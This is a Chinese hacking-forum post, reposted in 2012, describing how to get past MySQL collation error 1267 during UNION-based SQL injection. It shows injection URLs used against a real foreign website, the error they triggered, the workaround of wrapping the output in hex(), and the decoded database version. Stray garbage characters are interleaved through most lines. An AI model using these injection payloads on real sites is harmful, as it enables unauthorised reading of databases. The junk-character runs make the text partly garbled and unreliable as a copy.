找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本文作者:SuperHei
5 `# X  `6 Q% b' }$ Y6 k文章性质:原创; R$ B- M3 N8 }4 p: {) L
发布日期:2005-10-186 P7 L# i: K9 u
测试个国外的站时:
7 _9 n8 O! v# P9 ?/ [url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*/ D0 e8 R: U' y
返回错误:7 z! g6 ^. X7 v. P8 ?5 C
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'; p+ y) x: U, U( z0 U0 f/ C
MySQL Error No. 126
6 }( m& U4 x. r7 k7 p5 [  J" O看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
9 B% r9 d3 {' ?# b7 d. N- x6 A& O解决办法:转为其他编码如hex。0 Y5 K  a: P, h: Y  o
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*' P5 S& h5 W0 m) u5 C0 }; h
成功得到hex(version())的值为:
+ W' U0 o7 f8 f0 |3 c2 s342E312E332D62657461" Q7 B1 K* P. J+ Q( ?% D8 u
回Mysql查询下得到:
3 U0 t1 T3 g; Smysql> select 0x342E312E332D62657461;
. r6 [) ?7 O0 u$ [2 z- ?+------------------------+, f1 V% R% }% e
| 0x342E312E332D62657461 |% C# [, M) d# c$ I
+------------------------+9 j" W  u! u7 i
| 4.1.3-beta |( `8 A% g# Q) U3 p+ }
+------------------------+$ P, S% x: O/ f: t- R  J9 O
1 row in set (0.00 sec)# |- I: E* K- h; F; n7 o/ ?9 q4 F
- I, ~! _9 Y/ Y* S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表